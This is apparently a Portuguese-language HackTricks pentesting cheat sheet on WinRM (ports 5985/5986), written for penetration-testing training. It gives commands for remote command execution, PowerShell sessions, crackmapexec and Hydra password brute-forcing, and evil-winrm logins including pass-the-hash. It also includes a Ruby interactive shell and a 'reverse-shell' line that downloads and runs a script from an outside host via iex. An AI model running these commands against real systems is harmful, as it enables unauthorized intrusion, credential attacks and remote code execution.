5985,5986 - Pentesting WinRM

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

WinRM

Windows Remote Management (WinRM) é destacado como um protocolo da Microsoft que permite a gerência remota de sistemas Windows através de HTTP(S), aproveitando o SOAP no processo. É fundamentalmente alimentado pelo WMI, apresentando-se como uma interface baseada em HTTP para operações WMI.

A presença do WinRM em uma máquina permite uma administração remota simples via PowerShell, semelhante ao funcionamento do SSH em outros sistemas operacionais. Para determinar se o WinRM está operacional, é recomendável verificar a abertura de portas específicas:

  • 5985/tcp (HTTP)

  • 5986/tcp (HTTPS)

Uma porta aberta da lista acima significa que o WinRM foi configurado, permitindo assim tentativas de iniciar uma sessão remota.

Iniciando uma Sessão WinRM

Para configurar o PowerShell para WinRM, o cmdlet Enable-PSRemoting da Microsoft entra em cena, configurando o computador para aceitar comandos remotos do PowerShell. Com acesso elevado ao PowerShell, os seguintes comandos podem ser executados para habilitar essa funcionalidade e designar qualquer host como confiável:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Esta abordagem envolve adicionar um caractere curinga à configuração trustedhosts, um passo que requer consideração cautelosa devido às suas implicações. Também é observado que alterar o tipo de rede de "Pública" para "Trabalho" pode ser necessário na máquina do atacante.

Além disso, o WinRM pode ser ativado remotamente usando o comando wmic, demonstrado da seguinte forma:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Este método permite a configuração remota do WinRM, aumentando a flexibilidade na gestão de máquinas Windows à distância.

Testar se está configurado

Para verificar a configuração da sua máquina de ataque, o comando Test-WSMan é utilizado para checar se o alvo tem o WinRM configurado corretamente. Ao executar este comando, você deve esperar receber detalhes sobre a versão do protocolo e wsmid, indicando uma configuração bem-sucedida. Abaixo estão exemplos demonstrando a saída esperada para um alvo configurado em comparação a um não configurado:

  • Para um alvo que está corretamente configurado, a saída será semelhante a isto:

Test-WSMan <target-ip>

A resposta deve conter informações sobre a versão do protocolo e wsmid, significando que o WinRM está configurado corretamente.

  • Por outro lado, para um alvo não configurado para WinRM, isso resultaria na ausência de informações detalhadas, destacando a falta de uma configuração adequada do WinRM.

Executar um comando

Para executar ipconfig remotamente em uma máquina alvo e visualizar sua saída, faça:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Você também pode executar um comando do seu console PS atual via Invoke-Command. Suponha que você tenha localmente uma função chamada enumeration e você queira executá-la em um computador remoto, você pode fazer:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Executar um Script

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Obter reverse-shell

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Obter uma sessão PS

Para obter um shell interativo do PowerShell, use Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

A sessão será executada em um novo processo (wsmprovhost) dentro da "vítima"

Forçando o WinRM a abrir

Para usar PS Remoting e WinRM, mas o computador não está configurado, você pode habilitá-lo com:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Salvando e Restaurando sessões

Isso não funcionará se o idioma estiver constrangido no computador remoto.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Dentro dessas sessões, você pode carregar scripts PS usando Invoke-Command

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Erros

Se você encontrar o seguinte erro:

enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.

A tentativa no cliente (informações de aqui):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Insights de Hacking Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking

Notícias de Hack em Tempo Real Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre os novos programas de recompensas por bugs que estão sendo lançados e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Conexão WinRM no linux

Força Bruta

Tenha cuidado, forçar a entrada no winrm pode bloquear usuários.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Usando evil-winrm

gem install evil-winrm

Leia a documentação em seu github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Para usar evil-winrm para se conectar a um endereço IPv6, crie uma entrada dentro de /etc/hosts definindo um nome de domínio para o endereço IPv6 e conecte-se a esse domínio.

Pass the hash with evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Usando uma máquina PS-docker

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Usando um script Ruby

Código extraído daqui: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Referências

Comandos Automáticos HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Insights de Hacking Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking

Notícias de Hack em Tempo Real Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre os novos programas de recompensas por bugs que estão sendo lançados e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated